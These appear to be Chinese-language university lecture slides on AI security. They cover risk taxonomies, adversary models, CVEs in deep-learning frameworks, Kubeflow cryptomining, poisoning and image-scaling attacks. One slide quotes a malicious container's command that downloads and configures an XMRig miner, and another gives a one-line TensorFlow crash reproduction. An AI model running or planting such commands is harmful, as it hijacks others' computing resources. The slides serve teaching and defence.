



人工智能安全

李琦

清華大學網研院



本章的內容組織



第一節 人工智能安全緒論

- 人工智能發展史
- 人工智能分類舉例
- 人工智能系統概述
- 人工智能安全
- 人工智能敵手分析


通過歷史和現狀瞭解
高速發展的人工智能



第二節 框架安全

- 框架簡史
- 框架的安全漏洞

人工智能算法的實現
主要依賴一些基本的
底層框架



第三節 算法安全

- 人工智能算法簡介
- 人工智能算法的魯棒性
- 人工智能算法的魯棒性攻防
- 人工智能算法的隱私攻防

人工智能算法本身由于內部機制的
可解釋性匱乏，面臨多種多樣的
惡意攻擊，魯棒性存在風險



第四節 算法的局限性

- 數據局限性
- 成本局限性
- 偏見局限性
- 倫理局限性

人工智能算法依然
存在眾多局限性

框架自身以及框架的外部環境中的安全隱
患將會進一步威脅人工智能算法的安全



第1節 人工智能安全緒論

- ✓ 人工智能發展史
- ✓ 人工智能分類舉例
- ✓ 人工智能系統概述
- ✓ 人工智能安全
- ✓ 人工智能敵手分析



人工智能系統概述

- 人工智能系統主要包含三個部分：**輸入數據**、**算法模型**和**底層平臺**。數據是人工智能系統與外界交互的媒介，也是人工智能系統的基礎；算法模型是對數據進行學習和處理的核心；底層平臺為算法模型提供了計算能力和資源支持，使得人工智能系統能夠高效穩定運行
- 此外，人工智能系統一般處在兩種階段：**訓練階段**，人工智能系統從訓練數據中學習知識并更新算法模型；**推理階段**，固定模型參數，對測試數據做出判斷


訓練階段




訓練數據



數據處理



算法模型



數據處理

推理階段



測試數據

底層平臺





人工智能安全

人工智能作為戰略性與變革性信息技術，給網絡空間安全增加了新的不確定性。
《中國人工智能安全白皮書》將人工智能安全風險分為以下六個方面：

- **網絡安全風險：**網絡設施和學習框架的漏洞、後門安全問題，以及人工智能技術惡意應用導致的系統網絡安全風險
- **數據安全風險：**人工智能系統中的訓練數據偏差、非授權篡改以及人工智能引發的隱私數據泄露等安全風險
- **算法安全風險：**技術層中算法設計、決策相關的安全問題，涉及算法黑箱、算法模型缺陷等安全風險
- **信息安全風險：**人工智能技術應用于信息傳播以及人工智能產品和應用輸出的信息內容安全問題
- **社會安全風險：**人工智能產業化應用帶來的結構性失業、對社會倫理道德的衝擊以及可能給個人人身安全帶來損害
- **國家安全風險：**人工智能在軍事作戰、社會輿情等領域應用給國家軍事安全和政體安全帶來的風險隱患

CAICT 中国信通院

人工智能安全白皮書
(2018年)

中国信息通信研究院
安全研究所
2018年9月




人工智能敵手分析 —— 攻擊目標

根據信息安全系統經典的CIA模型，人工智能敵手的攻擊目標可以概括為以下三類

攻擊目標	含義
破壞機密性	敵手希望借助人工智能系統的輸入-輸出關係，非法推斷/竊取未經授權的信息
破壞完整性	敵手對訓練數據或著算法模型進行篡改，使得人工智能系統輸出偏離預期。
破壞可用性	敵手借助某種手段阻止合法用戶獲得有意義的系統輸出，進而降低人工智能服務質量、性能和權限



人工智能敵手分析 —— 攻擊能力






人工智能敵手分析 —— 攻擊能力

按照敵手對目標人工智能的接觸程度分類

白盒攻擊指的是敵手完全掌握目標系統信息，如系統所使用的人工智能算法，算法參數，代碼，訓練數據等。此場景一般發生于開源人工智能系統



白盒攻擊示意



人工智能敵手分析 —— 攻擊能力

按照敵手對目標人工智能的接觸程度分類

灰盒攻擊指的是敵手掌握部分目標系統信息，如部分模型參數、機器學習算法超參數等。此場景一般多發生于基于公開預訓練模型的人工智能系統中






人工智能敵手分析 —— 攻擊能力

按照敵手對目標人工智能的接觸程度分類

黑盒攻擊指的是敵手對目標人工智能系統內部信息，如攻擊模型的結構，訓練參數，防禦方法（如果加入了防禦手段的話）等完全無知，只能通過輸入輸出與模型進行交互來嘗試攻擊。日常生活中該場景較為普遍，如機器學習即服務系統。



黑盒攻擊示意



人工智能敵手分析 —— 攻擊能力


按照攻擊者的攻擊效果是否特定分類

目標攻擊 (target attack)：敵手可以較為精確地控制對目標人工智能輸出的影響，使系統輸出為特定預期值。如將特定樣本識別為特定結果



"cat"

+



Make it become
"dog"
target attack



人工智能敵手分析 —— 攻擊能力


按照攻擊者的攻擊效果是否特定分類

無目標攻擊 (non-target attack)：敵手可以一定程度上對目標人工智能輸出施加影響，但無法實現對輸出的精准控制。如降低目標系統識別精度，或使目標拒絕服務



"cat"

+



Make it become
Anything
(without "cat")
non-target attack




人工智能安全 —— 安全威脅

97.3% 金剛鸚鵡



+




=

88.9% 书柜



研究者發現，通過產生特定的**對抗樣本**，可以使機器學習將人類看起來差距很大的樣本**錯分類為攻擊者想要模仿的樣本**，從而達到獲取受模仿者權限的目的



網絡安全公司Endgame發布可**修改惡意軟件代碼使其繞過檢測**的人工智能程序Artemis，該程序可使惡意軟件以16%的概率繞過安全檢測



由于算法問題，一輛Uber**自動駕駛**SUV撞倒一名女性行人，導致其死亡。Uber發現，自動駕駛軟件在檢測到行人後決定**不採取任何制動**



委內瑞拉總統受到**無人機炸彈**襲擊，現場安保人員立刻豎起防護屏障。這是全球首例利用基于AI技術來識別目標人臉，進而實施攻擊的恐怖活動



人工智能安全 —— 應用

不當使用人工智能技術，會給網絡空間安全帶來極大的威脅

反之，正確運用技術，對保障網絡空間安全、有效維護社會穩定具有不可替代的作用

人工智能安全的應用主要可分為以下兩方面：

- **網絡信息安全應用：**主要包括網絡安全防護應用、信息內容安全審查應用、數據安全管理應用等，例如：
 - CrowdStrike公司開發基于大數據分析的主動防禦平臺，自動識別惡意軟件
 - Facebook公司利用機器學習開發直播監控工具，自動封殺涉黃涉暴內容
 - Neokami公司利用深度學習開發數據分類引擎，保護雲端或本地的敏感數據
- **社會公共安全應用：**主要包括智能安防應用、金融風控應用等
 - Intel公司多款支持邊緣深度學習推斷的視覺運算芯片和神經計算SDK開發包，形成平臺化設計，為世界各大公司提供個性化解決方案
 - Neurensic公司基于機器學習識別對交易公司構成風險的行為，自動檢測來自實際監管案例的高風險活動



已部署人工智能
安全應用的企業



人工智能安全 —— 世界發展現狀

人工智能技術已成為國際競爭的新焦點。 世界主要國家把發展人工智能作為提升國家競爭力、維護國家安全的重大戰略，加緊出臺規劃和政策，力圖在新一輪國際科技競爭中掌握主導權。世界主要國家基于自身國際地位和發展戰略，對人工智能安全的關注重點和重視程度不一

歐洲

- **著重關注人工智能對隱私、就業及倫理的影響**
 - 英國發布《人工智能:未來決策制定的機遇與影響》，關注人工智能對個人隱私、就業以及政府能帶來的影響，并就處理人工智能帶來的道德和法律風險提出了建議
 - 歐洲政治戰略中心發布《人工智能時代:確立以人為本的歐洲戰略》，針對人工智能發展過程中勞動者被替代的問題和人工智能偏見的問題，提出了對應策略



人工智能安全 —— 世界發展現狀

人工智能技術已成為國際競爭的新焦點。 世界主要國家把發展人工智能作為提升國家競爭力、維護國家安全的重大戰略，加緊出臺規劃和政策，力圖在新一輪國際科技競爭中掌握主導權。世界主要國家基于自身國際地位和發展戰略，對人工智能安全的關注重點和重視程度不一

歐洲

- **制度規範方面, 強化政府主導的倫理原則建設和法律法規約束**

- 英國議會發布《英國人工智能發展計劃、能力與志向》，提出了 5 項人工 智能基本道德準則
- 歐盟《通用數據保護條例》嘗試建立人工智能自動決策應用規範，明確要求人工智能自動化決策須用戶同意或被歐盟成員國法案明確授權，并要求數據控制者在收集數據時向數據主體告知自動化決策的存在、意義和後果



人工智能安全 —— 世界發展現狀

美國

- **著重關注人工智能技術對國家安全的影響**

- 哈佛大學肯尼迪政治學院發布《人工智能與國家安全》報告，提出在國家安全領域保持人工智能技術領先并有效管控風險的政策建議
- 美國國會發起提案，成立“國家人工智能安全委員會”，并制定“2018 年國家安全委員會人工智能法”

“可能會有這麼一個算法，能滲透核代碼，找出發射核彈的方法。如果這就是算法的唯一任務，如果算法是自適應的，而且是一個非常有效的算法，那麻煩就大了。”

—— 美國前總統奧巴馬接受MIT媒體實驗室主任採訪時表示





人工智能安全 —— 世界發展現狀

美國

- **制度規範方面，主張依托市場力量降低算法決策風險，在技術應用先導領域加強監管**
 - 美國權威科技創新智庫數據创新中心發布《政策制定者如何推動算法問責》報告，指出“大多數情況下，市場力量有能力阻止大部分有缺陷的人工智能算法產生；只有當算法應用帶來的潛在危害較大，並足以動用監管審查時，才會觸發算法問責
 - 同時，對自動駕駛、刑事司法等先導領域加強監管。譬如，眾議院通過《自動駕駛法案》，紐約市通過《關於政府機構使用自動化決策系統的當地法》等





人工智能安全 —— 世界發展現狀



美國

- 呼籲所有 AI 實驗室立即暫停訓練比 GPT-4 更強大的 AI 系統，為期至少 6 個月
- 圖靈獎得主 Yoshua Bengio、特斯拉 CEO（OpenAI 聯合創始人）伊隆·馬斯克、紐約大學名譽教授 Gary Marcus、UC 伯克利教授 Stuart Russell 等 1000 多人已經在這封公開信上簽名



Gary Marcus @GaryMarcus · 1小时

...

a big deal: [@elonmusk](#), Y. Bengio, S. Russell, [@tegmark](#), V. Kraknova, P. Maes, [@Grady_Booch](#), [@AndrewYang](#), [@tristanharris](#) & over 1,000 others, including me, have called for a temporary **pause** on training systems exceeding GPT-4



futureoflife.org

Pause Giant AI Experiments: An Open Letter - Fut...

We call on all AI labs to immediately pause for at least 6 months the training of AI systems more ...



104



326



487



13.7万



[显示这个主题帖](#)



人工智能安全 —— 國內發展現狀

- **法規政策制定方面，堅持規劃引領和應用規範，探索構建人工智能安全管理體系**
 - **堅持以戰略規劃為牽引，加大對人工智能安全的政策引導。**國務院印發《新一代人工智能發展規劃》提出：**既要加大人工智能研發和應用力度**，最大程度發揮人工智能潛力；**又要預判人工智能挑戰**，協調產業政策、創新政策與社會政策，實現激勵發展與合理規制的協調，**最大限度防範風險**
 - **圍繞人工智能應用的先導領域，出臺規範性引導文件。**例如，中國人民銀行、中國銀行保險監督管理委員會等機構聯合印發《關於規範金融機構資產管理業務的指導意見》，明確金融機構運用人工智能技術的權限和職責，積極防範人工智能應用于金融投資帶來的安全風險



中华人民共和国中央人民政府

www.gov.cn

Q 首页 | 简 | 繁 | EN | 登录 | 邮箱 | 无障碍

首页 > 国务院公报 > 2018年第26号

字号: 默认 大 超大 | 打印 | 收藏 | 分享

人民银行 银保监会 证监会 外汇局 关于规范金融机构资产管理业务的指导意见

二十三、运用**人工智能技术**开展投资顾问业务应当取得投资顾问资质，非金融机构不得借助智能投资顾问超范围经营或者变相开展资产管理业务。

金融机构运用人工智能技术开展资产管理业务应当严格遵守本意见有关投资者适当性、投资范围、信息披露、风险隔离等一般性规定，不得借助人工智能业务夸大宣传资产管理产品或者误导投资者。金融机构应当向金融监督管理部门报备人工智能模型的主要参数以及资产配置的主要逻辑，为投资者单独设立智能管理账户，充分提示人工智能算法的固有缺陷和使用风险，明晰交易流程，强化留痕管理，严格监控智能管理账户的交易头寸、风险限额、交易种类、价格权限等。金融机构因违法违规或者管理不当造成投资者损失的，应当依法承担损害赔偿責任。



人工智能安全 —— 國內發展現狀

- **安全標準規範制定方面，成立國家人工智能標準化總體組與專家諮詢組，加強人工智能安全標準研製**
- 在相關部委指導下，中國人工智能產業發展聯盟、國家人工智能標準化總體組與專家諮詢組等行業組織相繼成立，加強人工智能安全基礎標準研究并繼續深化應用領域安全標準化工作。我國通信標準化協會(CCSA)正在研製《人工智能產品、應用及服務的安全評估指南》和《人工智能服務平臺安全評估要求》標準





人工智能安全 —— 國內發展現狀

當前，我國國家安全和國際競爭形勢更加複雜，必須在國家戰略層面對人工智能安全進行系統布局、主動謀劃，堅持以**加快技術和應用創新**為主綫，以**完善法律道德規範**為保障，以**監管規範**為牽引，大力推進**標準建設、行業協同、人才培養、國際交流、宣傳教育**等工作，全面提升我國人工智能安全的綜合能力，有效保障我國網絡空間安全和經濟社會穩定發展。為此，**中國信息通信研究院**提出如下八條發展建議：

- 加強自主創新，突破共性關鍵技術
- 完善法律法規，制定倫理道德規範
- 健全監管體系，引導產業健康發展
- 強化標準引領，構建安全評估體系
- 促進行業協作，推動技術安全應用
- 加大人才培養，提升人員就業技能
- 加強國際交流，應對共有安全風險
- 加大社會宣傳，科學處理安全問題



“要深刻認識加快發展新一代人工智能的重大意義，推動我國新一代人工智能健康發展；加強人工智能發展的潛在風險研判和防範，維護人民利益和國家安全。”

——2018年10月 習近平主席于中共中央政治局第九次集體學習強調



第2節 框架安全



- ✓ 框架簡史
- ✓ 框架的安全漏洞



框架的安全漏洞




**漏洞無處不在、不可避免！每1000行代碼就
會有4-6個漏洞**

——周鴻禕. 360公司創始人

平均而言，軟件交付中每 1000 行代碼大約有
1-25 個錯誤

——Steve McConnell
《代碼大全（第二版）》作者





框架本身的安全漏洞 —— TensorFlow的漏洞

CVE-2020-5215

在 1.15.2 和 2.0.1 之前，將string（從 Python）轉換為 tf.float16 格式會導致在eager模式下的分段錯誤。此問題可能導致在推理/訓練中的**拒絕服務攻擊**，惡意攻擊者可以發送包含字符串而不是 tf.float16 值的數據點。由於數據類型的自動轉換，通過操作保存的模型和檢查點，也可以獲得類似的效果，從而將標量 tf.float16 值替換為標量字符串將引發此問題。如果啓用了eager模式，則 tf.constant("hello", tf.float16) 可以很容易地重現這一點

`tf.float16`: 16-bit half-precision floating-point



Eager
execution



框架本身的安全漏洞 —— TensorFlow的漏洞

CVE-2020-15190

在版本1.15.4、2.0.3、2.1.2、2.2.1和2.3.1之前的Tensorflow中，`tf.raw_ops.Switch`操作將張量和布爾值作為輸入，并輸出兩個取決于布爾值張量。張量之一就是輸入張量，而另一個應該是空張量。但是，eager模式時會遍歷輸出其中的所有張量。由于只定義了一個張量，另一個是 “ `nullptr` ”，因此我們將引用綁定到 “ `nullptr` ”。這是未定義的行為，如果使用 “ `-fsanitize = null` ” 進行編譯，則會報告為錯誤。在這種情況下，這會導致**分段錯誤**

```
tf.raw_ops.Switch(  
    data, pred, name=None  
)
```

Returns ↗

A tuple of Tensor objects (output_false, output_true).

output_false	A Tensor. Has the same type as data.
output_true	A Tensor. Has the same type as data.



框架本身的安全漏洞 —— TensorFlow的漏洞

加載模型時的風險

TensorFlow有兩種特殊的操作：

- read_file()
- write_file()

兩種操作可以在模型運行時操縱文件的讀寫，導致安全風險。攻擊者可以將訓練好的模型中插入這種“後門”，使用者加載TF模型時將觸發文件讀寫，導致信息被竊取或系統被控制。在數據流圖中**插入惡意操作**後，不影響模型的正常功能，也就是說模型的使用者從黑盒角度是沒有感知的

TensorFlow > API > TensorFlow Core v2.3.0 > Python

tf.io.read_file



Reads and outputs the entire contents of the input filename.

TensorFlow > API > TensorFlow Core v2.3.0 > Python

tf.io.write_file



Writes contents to the file at input filename. Creates file and recursively




框架本身的安全漏洞 —— PyTorch的漏洞

内存泄露

PyTorch 中内存泄漏的典型现象就是数据并不大，但 GPU 的内存已经被占满，而且 GPU 的利用率很低。可能引起内存泄漏的操作有：


- list与tensor互换有内存泄漏的危险
- DataLoader中的num_workers这个参数要特别小心，num_workers>0时，内存有可能泄漏
- train的循环中，特别要注意全局变量





框架本身的安全漏洞

Keras中的漏洞



權重丟失隱患

Keras可以被視為TensorFlow封裝後的一個API。一位從事NLP工程師發現了TensorFlow存在的一個嚴重bug，**使用 Keras 的 Functional API 創建的權重，可能會丟失**

Caffe中的漏洞


CVE-2008-1936

Classifieds Caffe的index.php存在**SQL注入漏洞**，允許遠程攻擊者通過一個添加操作的cat_id參數來執行任意SQL命令。并且，該漏洞可能是站點特定的






環境接觸帶來的漏洞





環境接觸帶來的漏洞



每個深度學習框架，都依賴著大量第三方軟件包。比如說使用最廣泛的TensorFlow，就有97個Python依賴庫；Caffe背後，有137個依賴庫，框架Torch7，也有48個Lua模塊

框架	代碼行數	依賴庫數量	依賴庫舉例
TensorFlow	877K+	97	librosa, numpy
Torch7	590K+	48	libprotobuf, libz, opencv
Caffe	127K+	137	xlua, qtsvg, opencv



環境接觸帶來的漏洞 —— Numpy帶來的漏洞

CVE-2017-12852

Numpy 1.13.1及之前的版本中的 'numpy.pad' 函數存在安全漏洞，該漏洞源于程序缺少輸入驗證，攻擊者可利用該漏洞造成**拒絕服務**（無限循環）

```
numpy.pad(array, pad_width, mode='constant', **kwargs)
```

[\[source\]](#)

Pad an array.

Parameters:

array : *array_like of rank N*

The array to pad.

pad_width : *{sequence, array_like, int}*

Number of values padded to the edges of each axis. ((before_1, after_1), ... (before_N, after_N)) unique pad widths for each axis. ((before, after),) yields same before and after pad for each axis. (pad,) or int is a shortcut for before = after = pad width for all axes.

mode : *str or function, optional*

One of the following string values or a user supplied function.



環境接觸帶來的漏洞 —— OpenCV帶來的漏洞

CVE-2017-12597

OpenCV（開源計算機視覺庫）到3.3版本時在使用cv::imread讀取圖像文件時，在utils.cpp中的函數 FillColorRow1 中出現越界寫入錯誤，導致**堆溢出**



CVE-2017-12597 Detail

Description

OpenCV (Open Source Computer Vision Library) through 3.3 has an out-of-bounds write error in the function FillColorRow1 in utils.cpp when reading an image file by using cv::imread.

Severity

CVSS Version 4.0

CVSS Version 3.x

CVSS Version 2.0

CVSS 4.0 Severity and Metrics:



NIST: NVD

N/A

NVD assessment not yet provided.

NVD Analysts use publicly available information to associate vector strings and CVSS scores. We also display any CVSS information provided within the CVE List from the CNA.

Note: NVD Analysts have not published a CVSS score for this CVE at this time. NVD Analysts use publicly available information at the time of analysis to associate CVSS vector strings.



環境接觸帶來的漏洞 —— 部分漏洞總結

DL Framework	dep. packages	CVE-ID	Potential Threats
Tensorflow	numpy	CVE-2017-12852	DOS
Tensorflow	wave.py	CVE-2017-14144	DOS
Caffe	libjasper	CVE-2017-9782	heap overflow
Caffe	openEXR	CVE-2017-12596	crash
Caffe/Torch	opencv	CVE-2017-12597	heap overflow
Caffe/Torch	opencv	CVE-2017-12598	crash
Caffe/Torch	opencv	CVE-2017-12599	crash
Caffe/Torch	opencv	CVE-2017-12600	DOS
Caffe/Torch	opencv	CVE-2017-12601	crash
Caffe/Torch	opencv	CVE-2017-12602	DOS
Caffe/Torch	opencv	CVE-2017-12603	crash
Caffe/Torch	opencv	CVE-2017-12604	crash
Caffe/Torch	opencv	CVE-2017-12605	crash
Caffe/Torch	opencv	CVE-2017-12606	crash
Caffe/Torch	opencv	CVE-2017-14136	integer overflow

Xiao Q, Li K, Zhang D, and Xu W, “Security risks in deep learning implementations”, in *proceedings of IEEE Security and Privacy Workshops (SPW)*, 2018.



環境接觸帶來的漏洞 —— 可移植軟件容器帶來的安全漏洞

節點劫持

Kubeflow 是一個開源項目，最初是在 Kubernetes 上運行 TensorFlow 作業的項目，已成為在 Kubernetes 中運行機器學習任務的熱門框架。

由于機器學習任務的節點通常相對強大，使得用于機器學習任務的 Kubernetes 群集成為加密挖掘活動的完美目標。

在2020年4月，微軟Azure安全中心觀察到從公共存儲庫在許多不同的群集上部署了可疑映像。圖像為ddsfdfsaadfs/dfsdf: 99。通過檢查圖像的圖層，可以看到此圖像運行 XMRIG 礦工


```
/bin/sh -c wget https://github.com/xmrig/xmrig/releases/download/v5.9.0/xmrig-5.9.0-xenial-x64.tar.gz && tar xvzf xmrig-5.9.0-xenial-x64.tar.gz && cd xmrig-5.9.0 && sed -i 's/"url": *"[^"]*",/"url": "████████████████████████████████████████",/' ./config.json && sed -i 's/"user": *"[^"]*",/"user": "████████████████████████████████████████",/' ./config.json && sed -i 's/"pass": *"[^"]*",/"pass": "████████████████████████████████████████",/' ./config.json && sed -i 's/"donate-level": *"[^"]*",/"donate-level": 1,/' ./config.json && sed -i 's/"tls": *"[^"]*",/"tls": true,/' ./config.json
```



環境接觸帶來的漏洞 —— 可移植軟件容器帶來的安全漏洞

部署惡意容器

攻擊者在kubeflow中創建Jupyter應用服務時，可以通過加載自定義的惡意Jupyter映像實現攻擊。同時，攻擊者也可以在Jupyter中編寫新的python代碼來部署惡意容器，這會進一步擴大攻擊者操作數據及代碼的權限，甚至可以危害機器學習模型本身的安全





第3節 算法安全


- ④ 人工智能算法簡介
- ④ 人工智能算法的魯棒性
- ④ 人工智能算法的魯棒性攻防
- ④ 人工智能算法的隱私攻防



人工智能算法的魯棒性

對於智能算法的魯棒性，與之密切相關的主要包括三個層面，分別是：

- 人工智能算法的優化原理
- 人工智能算法的可解釋性
- 人工智能算法的魯棒性評估






人工智能算法的魯棒性 —— 算法優化原理

最優化問題（ Optimization Problem ）是指選擇一組參數，在滿足一系列約束條件下，使目標達到**最優值的問題**。優化問題廣泛地存在于信號處理、圖像處理、生產調度、任務分配、模式識別、自動控制和機械設計等衆多領域。解決此類的問題的智能**優化算法**有很多，主要有以下幾類：

- 進化類算法，包括遺傳算法、免疫算法、差分進化算法等
- 群智能算法，包括蟻群算法、粒子群算法等
- 模擬退火算法
- 禁忌搜索算法
- **神經網絡算法**



本節以神經網絡算法中的**反向傳播**為例做簡要介紹





人工智能算法的魯棒性 —— 算法優化原理

反向傳播是一種與優化方法（如梯度下降法）結合使用，在訓練階段優化網絡參數的方法。該方法針對所有參數計算損失函數的對應梯度，並將計算結果反饋給相應的優化算法來更新參數，以達到最小化損失函數的目的



基本思想：正向計算每一層的狀態，直到最後一層；將最後一層狀態與目標比較得到損失，反向傳給前面每一層；根據損失，結合根據最優化方法更新參數



人工智能算法的魯棒性 —— 算法可解釋性

機器學習頂會ICML2017給出的一個關於可解釋性的定義是：

Interpretation is the process of giving explanations to Human.

可解釋性就是讓人類瞭解模型做出某一決策的深層原因。在解決現實生活中的數據科學問題時，如果能夠更透明地瞭解模型的決策過程，往往有助於人們對模型建立起一定程度的信任

模型的可解釋性與模型的**魯棒性**、**安全性**息息相關，不可解釋有時會意味著危險。這是因為，我們不能將安全性像準確率那樣量化為一個具體目標去優化它，而可解釋性就能夠為此提供一個努力的方向。例如無人駕駛領域，我們無法將模型訓練到100%做出正確決策，但如果模型本身是可解釋的，我們就能夠分析風險出現的原因，從而規避風險






人工智能算法的魯棒性 —— 算法可解釋性

建模之前的可解釋性方法

此階段的可解釋性方法主要是爲了讓我們迅速而全面地瞭解數據分布的特徵，如：

- **數據可視化**：在建模之前，我們往往需要對數據的整體特徵有一個直觀的認識。可視化方法會幫助我們從各個角度理解數據的分布



- **尋找Prototypes和Criticisms**：Prototype是指能够表示大部分數據的數據實例，Criticism是指不能由Prototype很好表示出的數據實例，通過相關算法（如MMD-critic）尋找這些典型例子有助于我們理解數據





人工智能算法的魯棒性 —— 算法可解釋性




本身具備可解釋性的模型

基于規則的方法: 如決策樹模型

基于單個特徵的方法: 主要是一些綫性模型, 如綫性回歸、邏輯回歸、廣義加性模型

基于實例的方法: 如*Bayesian Case Model*

稀疏性方法: 利用信息的稀疏性特質, 將模型盡可能地簡化表示, 如*Graph-sparse LDA*






人工智能算法的魯棒性 —— 算法可解釋性

使用可解釋性方法對模型作出解釋

如果選擇了具有黑箱性質的深度學習模型，我們可以採用建模後的可解釋性方法，如：

- **敏感性分析**：檢查模型對於哪個數據實例非常敏感。例如一個分類器，如果刪除掉一個數據點，模型的決策邊界有了劇烈的變化，那麼模型對於這個數據點就是敏感的

- **隱層分析**：通過對隱層運用一些可視化方法來將其轉化成人類可以理解的有實際含義的圖像，如CV領域的反卷積、反池化等等






人工智能算法的魯棒性 —— 算法可解釋性



基于可視化方法的模型解釋

基于神經網絡的智能算法往往具備結構複雜的特性，通過可視化的方法，有助于增進研究人員對模型結構以及模型訓練過程的理解，如：

- **模型結構可視化**：通過3D可視化來觀察模型的各個細節



- **模型訓練過程可視化**：隨著迭代次數的變化，訓練過程中各層出現的實時變化






人工智能算法的魯棒性 —— 算法可解釋性


基于可視化方法的模型解釋

基于神經網絡的智能算法往往具備結構複雜的特性，通過可視化的方法，有助于增進研究人員對模型結構以及模型訓練過程的理解，如：


特徵圖在綫性布局和
網格布局之間轉換



折疊卷積層的特徵圖輸出





對全連接層進行邊綁定






人工智能算法的魯棒性 —— 算法魯棒性評估

- 深度學習領域的**魯棒性(Robustness)**可以理解為“穩定性”，即模型對數據變化的容忍度
- 魯棒性高的模型，在面對噪聲、不確定性或敵對性干擾（對抗樣本）時，仍能保持穩定、可靠的性能；魯棒性差的模型在面臨上述威脅時，容易給出高可信度的錯誤結果
- 與**泛化性(Generalizability)**的區別：魯棒性評估的是模型抗干擾能力；泛化性強調模型對未見過（可能與訓練集分布相似）的新數據的性能。在某些場景或非標準的描述中，魯棒性可能涵蓋泛化性。







人工智能系統中的信息傳遞




輸入(傳感器)



數據預處理



機器學習模型



人工智能應用




前沿的攻擊與防禦



魯棒性攻防 —— 投毒攻擊

對於人工智能算法而言，我們需要提供大量的訓練數據來優化算法的相關參數。**投毒攻擊**就是從人工智能算法的優化原理，以及數據支持來作為前提的角度，實現攻擊。**具體來說，投毒攻擊的實施者需要精心設計一個或者多個攻擊樣本。這些攻擊樣本一旦混入到人工智能算法的訓練數據中，將會讓人工智能算法失效**



向數據集中混入一個精心設計的狗類別圖片（視覺上是狗，而特徵空間上是魚），人工智能算法將會把所有的魚類別圖片錯誤識別為狗類別




魯棒性攻防 —— 投毒攻擊

之所以將攻擊樣本混進訓練模型中，能够使模型失效，是因為機器學習或深度學習模型是要學習**訓練樣本的分布**，同時假設**訓練樣本和測試樣本是同分布的**。此時如果擾亂了訓練數據的分布，自然會使模型對測試數據給出錯誤的輸出

Training Data 

≈


Testing Data 





基于用戶反饋的投毒攻擊

基于反饋的攻擊是指將用戶反饋系統武器化來攻擊合法用戶和內容。一旦攻擊者意識到模型利用了用戶反饋對模型進行懲罰(penalization)，他們就會基于此為自己謀利




如左圖所示，2017年有組織通過上千個1星評價讓CNN應用在蘋果應用商店和谷歌官方應用商店中的排名降低。即後臺利用用戶評價星級來調整模型，只要攻擊者持續進行惡意打分，就會使模型誤判



通過公開數據收集實現投毒攻擊

Google反濫用研究團隊的主管曾經介紹過發生在Google垃圾郵件分類器上的數據投毒攻擊案例。一些高級的垃圾郵件製造者試圖通過**將大量垃圾郵件提交為非垃圾郵件**來讓Gmail過濾器不再記錄該垃圾郵件，從而使 Gmail 郵件分類器發生偏斜



2017 年 11 月底至 2018 年初，Gmail 遭遇了至少 4 次大規模惡意攻擊試圖讓分類器偏斜




面向支持向量機的投毒攻擊

攻擊目標：使訓練好的支持向量機在喪失在測試數據集上的準確性等價于，最大化支持向量機在測試數據集上的hinge損失函數

攻擊方式：使向訓練數據集中混入一個精心設計的毒藥樣本，即投毒攻擊


具體實現：由于優化目標是非凸優化函數，使用梯度上升的方法去逐步迭代優化，進而設計出符合攻擊目標的毒藥樣本





針對推薦系統的投毒攻擊

針對基于深度學習的推薦系統的投毒攻擊，設計經過優化處理的針對基于深度學習的推薦系統的投毒攻擊方法并評估其安全威脅





針對投毒攻擊的防禦措施

爲了保障機器學習或深度學習**分類模型**在受到投毒攻擊後的性能，可以在開發模型階段選取一個乾淨的數據集，模擬一些投毒策略并據此進行防禦。但是，由于可能的攻擊空間幾乎無限，所以并不能保證防禦措施是安全的，即，不能保證一個對已知攻擊集有效的防禦將不會對新的攻擊失效

爲解決這個問題，研究人員提出了一個針對給定防禦的攻擊空間範圍的框架。具體來講，該框架的貢獻主要爲以下兩點：

- **提出一種算法，尋找最壞情況下的攻擊策略（即攻擊強度最大）**
- **提出一種魯棒性度量方式，可用來求出固定防禦策略下的攻擊上界**



針對投毒攻擊的防禦措施

投毒攻擊的防禦

任務類型：二元分類

模型參數： θ

損失函數：Hinge Loss

$$l(\theta; x, y) = \max(0, 1 - y\langle \theta, x \rangle)$$

$$\text{全域損失: } L(\theta; D) = \sum_{(x, y) \in D} l(\theta; x, y)$$

已知：

1. 分布為 p^* 的乾淨數據集 D_c
2. 投毒數據集 D_p
3. 訓練集 $D_c \cup D_p$

防禦目標：尋找可行域 $\mathcal{F}$ ，最小化投毒數據集上的損失

$$\theta_{D_p} = \operatorname{argmin}_{\theta} L(\theta; (D_c \cup D_p) \cap \mathcal{F})$$

- 如果直接在 $D_c \cup D_p$ 上訓練，模型幾乎不可能達到良好的效果：即使只有一個投毒點，在某些情況下也能任意改變模型；因此在防禦時可以考慮數據篩選，即真正的訓練集為 $(D_c \cup D_p) \cap \mathcal{F}$ ，據此可以分為以下兩類防禦：

- 固定的防禦：防禦不依賴于 D_p ，如文本分類中篩除掉所有字典中未出現的單詞
- 依賴數據的防禦：防禦取決于 $D_c \cup D_p$




人工智能系統面臨的安全風險

傳感器數據欺騙

外置幹對汽車的超聲傳感器造成干擾擾源^[1]



利用超聲波干擾陀螺儀造成無人機墜機^[2]




[1] Can You Trust Autonomous Vehicles: Contactless Attacks against Sensors of Self-driving Vehicle. DEFCON'14.


[2] Y. Son, et al. Rocking Drones with Intentional Sound Noise on Gyroscopic Sensors. USENIX Security'15.




人工智能系統中的信息傳遞




輸入(傳感器)



數據預處理



機器學習模型



人工智能應用



人工智能系統中的信息傳遞



原始數據
(1800x1200)



數據預處理
(resize, crop)



分類網絡
(輸入: 229x229)



分類結果




人工智能系統中的信息傳遞

2,160,000 -> 52,441 (2.43%)



原始數據
(1800x1200)






數據預處理
(resize, crop)



分類網絡
(輸入: 229x229)



分類結果



<http://tech-algorithm.com/articles/nearest-neighbor-image-scaling/>



人工智能系統中的信息傳遞

2,160,000 -> 52,441 (2.43%)



原始數據
(1800x1200)




數據預處理
(resize, crop)



分類網絡
(輸入: 229x229)




分類結果





人工智能系統中的信息傳遞




[1] Q. Xiao et al. *Seeing is Not Believing: Camouflage Attacks on Image Scaling Algorithms*. Usenix Security '19.



人工智能系統中的信息傳遞

數據預處理安全缺陷 —— “降維” 攻擊



百度: “灰狼: 0.939”



騰訊: “白狼: 98.52%”



阿裏雲ET: “灰狼:88%”



微軟Azure: “Wolf:0.981169641”

FEATURE NAME	VALUE
Description	{ "tags": ["animal", "mammal", "wolf", "looking"], "spikes": [{ "text": "a close up of a wolf", "confidence": 0.707954049 }] }
Tags	{ ("name": "animal", "confidence": 0.948958), ("name": "mammal", "confidence": 0.900899), ("name": "wolf", "confidence": 0.981169641) }
Image format	"image"
Image dimensions	1104 x 1104
Clip art	0

